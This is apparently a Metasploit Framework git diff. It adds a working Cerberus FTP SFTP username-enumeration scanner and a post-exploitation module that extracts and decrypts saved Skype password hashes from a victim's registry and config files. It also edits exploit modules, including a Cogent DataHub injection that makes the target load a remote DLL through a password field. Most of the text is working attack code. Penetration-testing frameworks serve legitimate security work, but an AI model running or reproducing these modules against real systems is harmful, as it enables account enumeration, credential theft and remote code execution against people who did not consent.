diff --git a/modules/auxiliary/scanner/http/jenkins_enum.rb b/modules/auxiliary/scanner/http/jenkins_enum.rb index 5f5b2ebbe7..d3dcc68fc1 100644 --- a/modules/auxiliary/scanner/http/jenkins_enum.rb +++ b/modules/auxiliary/scanner/http/jenkins_enum.rb @@ -53,7 +53,7 @@ class Metasploit3 < Msf::Auxiliary end version = res.headers['X-Jenkins'] - vprint_status("#{peer} - Jenkins Version - #{version}") + print_status("#{peer} - Jenkins Version - #{version}") report_service( :host => rhost, :port => rport, @@ -120,17 +120,17 @@ class Metasploit3 < Msf::Auxiliary ) end when 403 - vprint_status("#{peer} - #{uri_path} restricted (403)") + print_status("#{peer} - #{uri_path} restricted (403)") when 401 - vprint_status("#{peer} - #{uri_path} requires authentication (401): #{res.headers['WWW-Authenticate']}") + print_status("#{peer} - #{uri_path} requires authentication (401): #{res.headers['WWW-Authenticate']}") when 404 - vprint_status("#{peer} - #{uri_path} not found (404)") + print_status("#{peer} - #{uri_path} not found (404)") when 301 - vprint_status("#{peer} - #{uri_path} is redirected (#{res.code}) to #{res.headers['Location']} (not following)") + print_status("#{peer} - #{uri_path} is redirected (#{res.code}) to #{res.headers['Location']} (not following)") when 302 - vprint_status("#{peer} - #{uri_path} is redirected (#{res.code}) to #{res.headers['Location']} (not following)") + print_status("#{peer} - #{uri_path} is redirected (#{res.code}) to #{res.headers['Location']} (not following)") else - vprint_status("#{peer} - #{uri_path} Don't know how to handle response code #{res.code}") + print_status("#{peer} - #{uri_path} Don't know how to handle response code #{res.code}") end end diff --git a/modules/auxiliary/scanner/ipmi/ipmi_cipher_zero.rb b/modules/auxiliary/scanner/ipmi/ipmi_cipher_zero.rb index 30e78c1a37..ea8f0e7cd5 100644 --- a/modules/auxiliary/scanner/ipmi/ipmi_cipher_zero.rb +++ b/modules/auxiliary/scanner/ipmi/ipmi_cipher_zero.rb @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Auxiliary def initialize super( - 'Name' => 'IPMI 2.0 RAKP Cipher Zero Authentication Bypass Scanner', + 'Name' => 'IPMI 2.0 Cipher Zero Authentication Bypass Scanner', 'Description' => %q| This module identifies IPMI 2.0 compatible systems that are vulnerable to an authentication bypass vulnerability through the use of cipher diff --git a/modules/auxiliary/scanner/ssh/cerberus_sftp_enumusers.rb b/modules/auxiliary/scanner/ssh/cerberus_sftp_enumusers.rb new file mode 100644 index 0000000000..d4cb8f2a09 --- /dev/null +++ b/modules/auxiliary/scanner/ssh/cerberus_sftp_enumusers.rb @@ -0,0 +1,213 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'net/ssh' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Cerberus FTP Server SFTP Username Enumeration', + 'Description' => %q{ + This module uses a dictionary to brute force valid usernames from + Cerberus FTP server via SFTP. This issue affects all versions of + the software older than 6.0.9.0 or 7.0.0.2 and is caused by a discrepancy + in the way the SSH service handles failed logins for valid and invalid + users. This issue was discovered by Steve Embling. + }, + 'Author' => [ + 'Steve Embling', # Discovery + 'Matt Byrne ' # Metasploit module + ], + 'References' => + [ + [ 'URL', 'http://xforce.iss.net/xforce/xfdb/93546' ], + [ 'BID', '67707'] + ], + 'License' => MSF_LICENSE, + 'DisclosureDate' => 'May 27 2014' + )) + + register_options( + [ + Opt::RPORT(22), + OptPath.new( + 'USER_FILE', + [true, 'Files containing usernames, one per line', nil]) + ], self.class + ) + + register_advanced_options( + [ + OptInt.new( + 'RETRY_NUM', + [true , 'The number of attempts to connect to a SSH server for each user', 3]), + OptInt.new( + 'SSH_TIMEOUT', + [true, 'Specify the maximum time to negotiate a SSH session', 10]), + OptBool.new( + 'SSH_DEBUG', + [true, 'Enable SSH debugging output (Extreme verbosity!)', false]) + ] + ) + end + + def rport + datastore['RPORT'] + end + + def retry_num + datastore['RETRY_NUM'] + end + + def check_vulnerable(ip) + options = { + :port => rport, + :auth_methods => ['password', 'keyboard-interactive'], + :msframework => framework, + :msfmodule => self, + :disable_agent => true, + :config => false, + :proxies => datastore['Proxies'] + } + + begin + transport = Net::SSH::Transport::Session.new(ip, options) + rescue Rex::ConnectionError, Rex::AddressInUse + return :connection_error + end + + auth = Net::SSH::Authentication::Session.new(transport, options) + auth.authenticate("ssh-connection", Rex::Text.rand_text_alphanumeric(8), Rex::Text.rand_text_alphanumeric(8)) + auth_method = auth.allowed_auth_methods.join('|') + print_status "#{peer(ip)} Server Version: #{auth.transport.server_version.version}" + report_service( + :host => ip, + :port => rport, + :name => "ssh", + :proto => "tcp", + :info => auth.transport.server_version.version + ) + + if auth_method.empty? + :vulnerable + else + :safe + end + end + + def check_user(ip, user, port) + pass = Rex::Text.rand_text_alphanumeric(8) + + opt_hash = { + :auth_methods => ['password', 'keyboard-interactive'], + :msframework => framework, + :msfmodule => self, + :port => port, + :disable_agent => true, + :config => false, + :proxies => datastore['Proxies'] + } + + opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] + transport = Net::SSH::Transport::Session.new(ip, opt_hash) + auth = Net::SSH::Authentication::Session.new(transport, opt_hash) + + begin + ::Timeout.timeout(datastore['SSH_TIMEOUT']) do + auth.authenticate("ssh-connection", user, pass) + auth_method = auth.allowed_auth_methods.join('|') + if auth_method != '' + :success + else + :fail + end + end + rescue Rex::ConnectionError, Rex::AddressInUse + return :connection_error + rescue Net::SSH::Disconnect, ::EOFError + return :success + rescue ::Timeout::Error + return :connection_error + end + end + + def do_report(ip, user, port) + report_auth_info( + :host => ip, + :port => rport, + :sname => 'ssh', + :user => user, + :active => true + ) + end + + def peer(rhost=nil) + "#{rhost}:#{rport} SSH -" + end + + def user_list + users = nil + if File.readable? datastore['USER_FILE'] + users = File.new(datastore['USER_FILE']).read.split + users.each {|u| u.downcase!} + users.uniq! + else + raise ArgumentError, "Cannot read file #{datastore['USER_FILE']}" + end + + users + end + + def attempt_user(user, ip) + attempt_num = 0 + ret = nil + + while (attempt_num <= retry_num) && (ret.nil? || ret == :connection_error) + if attempt_num > 0 + Rex.sleep(2 ** attempt_num) + print_debug "#{peer(ip)} Retrying '#{user}' due to connection error" + end + + ret = check_user(ip, user, rport) + attempt_num += 1 + end + + ret + end + + def show_result(attempt_result, user, ip) + case attempt_result + when :success + print_good "#{peer(ip)} User '#{user}' found" + do_report(ip, user, rport) + when :connection_error + print_error "#{peer(ip)} User '#{user}' could not connect" + when :fail + vprint_status "#{peer(ip)} User '#{user}' not found" + end + end + + def run_host(ip) + print_status "#{peer(ip)} Checking for vulnerability" + case check_vulnerable(ip) + when :vulnerable + print_good "#{peer(ip)} Vulnerable" + print_status "#{peer(ip)} Starting scan" + user_list.each do |user| + show_result(attempt_user(user, ip), user, ip) + end + when :safe + print_error "#{peer(ip)} Not vulnerable" + when :connection_error + print_error "#{peer(ip)} Connection failed" + end + end +end + diff --git a/modules/exploits/windows/http/cogent_datahub_command.rb b/modules/exploits/windows/http/cogent_datahub_command.rb index 66753804d3..489190ecf0 100644 --- a/modules/exploits/windows/http/cogent_datahub_command.rb +++ b/modules/exploits/windows/http/cogent_datahub_command.rb @@ -22,7 +22,8 @@ class Metasploit3 < Msf::Exploit::Remote makes insecure use of the datahub_command function with user controlled data, allowing execution of arbitrary datahub commands and scripts. This module has been tested successfully with Cogent DataHub 7.3.4 on - Windows 7 SP1. + Windows 7 SP1. Please also note that after exploitation, the remote service + will most likely hang and restart manually. }, 'Author' => [ 'John Leitch', # Vulnerability discovery @@ -50,7 +51,7 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ OptString.new('URIPATH', [ true, 'The URI to use (do not change)', '/']), - OptPort.new('SRVPORT', [ true, 'The daemon port to listen on ' + + OptPort.new('SRVPORT', [ true, 'The daemon port to listen on ' + '(do not change)', 80 ]), OptInt.new('WEBDAV_DELAY', [ true, 'Time that the HTTP Server will ' + 'wait for the payload request', 20]), @@ -374,7 +375,7 @@ class Metasploit3 < Msf::Exploit::Remote 'vars_post' => { 'username' => rand_text_alpha(3 + rand(3)), - 'password' => "#{rand_text_alpha(3 + rand(3))}\")" + + 'password' => "#{rand_text_alpha(3 + rand(3))}\")" + "(load_plugin \"#{dll}\" 1)(\"" } }, 1) @@ -414,7 +415,7 @@ class Metasploit3 < Msf::Exploit::Remote @exploit_unc = "\\\\#{@myhost}\\" if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/' - fail_with(Failure::BadConfig, 'Using WebDAV requires SRVPORT=80 and ' + + fail_with(Failure::BadConfig, 'Using WebDAV requires SRVPORT=80 and ' + 'URIPATH=/') end @@ -439,7 +440,7 @@ class Metasploit3 < Msf::Exploit::Remote print_error("#{peer} - Unexpected answer") end else - fail_with(Failure::BadConfig, 'Bad UNCPATH format, should be ' + + fail_with(Failure::BadConfig, 'Bad UNCPATH format, should be ' + '\\\\host\\shared_folder\\base_name.dll') end end diff --git a/modules/exploits/windows/http/hp_autopass_license_traversal.rb b/modules/exploits/windows/http/hp_autopass_license_traversal.rb index cdc4b3bc90..db98e83681 100644 --- a/modules/exploits/windows/http/hp_autopass_license_traversal.rb +++ b/modules/exploits/windows/http/hp_autopass_license_traversal.rb @@ -17,9 +17,9 @@ class Metasploit3 < Msf::Exploit::Remote 'Description' => %q{ This module exploits a code execution flaw in HP AutoPass License Server. It abuses two weaknesses in order to get its objective. First, the AutoPass application doesn't enforce - authentication in the CommunicationServlet component. On the other hand, it's possible to - abuse a directory traversal when uploading files thorough the same component, allowing to - upload an arbitrary payload embedded in a JSP. The module has been tested successfully on + authentication in the CommunicationServlet component. Seond, it's possible to abuse a + directory traversal when uploading files thorough the same component, allowing to upload + an arbitrary payload embedded in a JSP. The module has been tested successfully on HP AutoPass License Server 8.01 as installed with HP Service Virtualization 3.50. }, 'Author' => diff --git a/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb b/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb index 0709852f0b..89b2bf9e32 100644 --- a/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb +++ b/modules/exploits/windows/local/ms14_009_ie_dfsvc.rb @@ -32,11 +32,9 @@ class Metasploit3 < Msf::Exploit::Local super( update_info( info, 'Name' => 'MS14-009 .NET Deployment Service IE Sandbox Escape', 'Description' => %q{ - This module abuses a process creation policy in the Internet Explorer Sandbox which allows - to escape the Enhanced Protected Mode and execute code with Medium Integrity. The problem - exists in the .NET Deployment Service (dfsvc.exe), which can be run as Medium Integrity - Level. Further interaction with the component allows to escape the Enhanced Protected Mode - and execute arbitrary code with Medium Integrity. + This module abuses a process creation policy in Internet Explorer's sandbox, specifically + in the .NET Deployment Service (dfsvc.exe), which allows the attacker to escape the + Enhanced Protected Mode, and execute code with Medium Integrity. }, 'License' => MSF_LICENSE, 'Author' => diff --git a/modules/post/windows/gather/credentials/skype.rb b/modules/post/windows/gather/credentials/skype.rb new file mode 100644 index 0000000000..a27e07d114 --- /dev/null +++ b/modules/post/windows/gather/credentials/skype.rb @@ -0,0 +1,180 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'rex' +require 'msf/core' + +class Metasploit3 < Msf::Post + include Msf::Post::File + include Msf::Post::Windows::Registry + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Gather Skype Saved Password Hash Extraction', + 'Description' => %q{ This module finds saved login credentials + for the Windows Skype client. The hash is in MD5 format + that uses the username, a static string "\nskyper\n" and the + password. The resulting MD5 is stored in the Config.xml file + for the user after being XOR'd against a key generated by applying + 2 SHA1 hashes of "salt" data which is stored in ProtectedStorage + using the Windows API CryptProtectData against the MD5 }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'mubix', # module + 'hdm' # crypto help + ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ], + 'References' => [ + ['URL', 'http://www.recon.cx/en/f/vskype-part2.pdf'], + ['URL', 'http://insecurety.net/?p=427'], + ['URL', 'https://github.com/skypeopensource/tools'] + ] + )) + end + +# To generate test hashes in ruby use: +=begin + +require 'openssl' + +username = "test" +passsword = "test" + +hash = Digest::MD5.new +hash.update username +hash.update "\nskyper\n" +hash.update password + +puts hash.hexdigest + +=end + + + def decrypt_reg(data) + rg = session.railgun + pid = session.sys.process.getpid + process = session.sys.process.open(pid, PROCESS_ALL_ACCESS) + mem = process.memory.allocate(512) + process.memory.write(mem, data) + + if session.sys.process.each_process.find { |i| i["pid"] == pid} ["arch"] == "x86" + addr = [mem].pack("V") + len = [data.length].pack("V") + ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8) + len, addr = ret["pDataOut"].unpack("V2") + else + # Convert using rex, basically doing: [mem & 0xffffffff, mem >> 32].pack("VV") + addr = Rex::Text.pack_int64le(mem) + len = Rex::Text.pack_int64le(data.length) + ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16) + pData = ret["pDataOut"].unpack("VVVV") + len = pData[0] + (pData[1] << 32) + addr = pData[2] + (pData[3] << 32) + end + + return "" if len == 0 + return process.memory.read(addr, len) + end + + # Get the "Salt" unencrypted from the registry + def get_salt + print_status "Checking for encrypted salt in the registry" + vprint_status "Checking: HKCU\\Software\\Skype\\ProtectedStorage - 0" + rdata = registry_getvaldata('HKCU\\Software\\Skype\\ProtectedStorage', '0') + print_good("Salt found and decrypted") + return decrypt_reg(rdata) + end + + # Pull out all the users in the AppData directory that have config files + def get_config_users(appdatapath) + users = [] + dirlist = session.fs.dir.entries(appdatapath) + dirlist.shift(2) + dirlist.each do |dir| + if file?(appdatapath + "\\#{dir}" + '\\config.xml') == false + vprint_error "Config.xml not found in #{appdatapath}\\#{dir}\\" + next + end + print_good "Found Config.xml in #{appdatapath}\\#{dir}\\" + users << dir + end + return users + end + + def parse_config_file(config_path) + hex = "" + configfile = read_file(config_path) + configfile.each_line do |line| + if line =~ /Credentials/i + hex = line.split('>')[1].split('<')[0] + end + end + return hex + end + + + + def decrypt_blob(credhex, salt) + + # Convert Config.xml hex to binary format + blob = [credhex].pack("H*") + + # Concatinate SHA digests for AES key + sha = Digest::SHA1.digest("\x00\x00\x00\x00" + salt) + Digest::SHA1.digest("\x00\x00\x00\x01" + salt) + + aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC") + aes.encrypt + aes.key = sha[0,32] # Use only 32 bytes of key + final = aes.update([0].pack("N*") * 4) # Encrypt 16 \x00 bytes + final << aes.final + xor_key = final[0,16] # Get only the first 16 bytes of result + + vprint_status("XOR Key: #{xor_key.unpack("H*")[0]}") + + decrypted = [] + + # Use AES/SHA crypto for XOR decoding + (0...16).each do |i| + decrypted << (blob[i].unpack("C*")[0] ^ xor_key[i].unpack("C*")[0]) + end + + return decrypted.pack("C*").unpack("H*")[0] + end + + + def get_config_creds(salt) + users = [] + appdatapath = expand_path("%AppData%") + "\\Skype" + print_status ("Checking for config files in %APPDATA%") + users = get_config_users(appdatapath) + if users.any? + users.each do |user| + print_status("Parsing #{appdatapath}\\#{user}\\Config.xml") + credhex = parse_config_file("#{appdatapath}\\#{user}\\config.xml") + if credhex == "" + print_error("No Credentials3 blob found for #{user} in Config.xml skipping") + next + else + hash = decrypt_blob(credhex, salt) + print_good "Skype MD5 found: #{user}:#{hash}" + end + end + else + print_error "No users with configs found. Exiting" + end + end + + def run + salt = get_salt + if salt != nil + creds = get_config_creds(salt) + else + print_error "No salt found. Cannot continue without salt, exiting" + end + end + +end +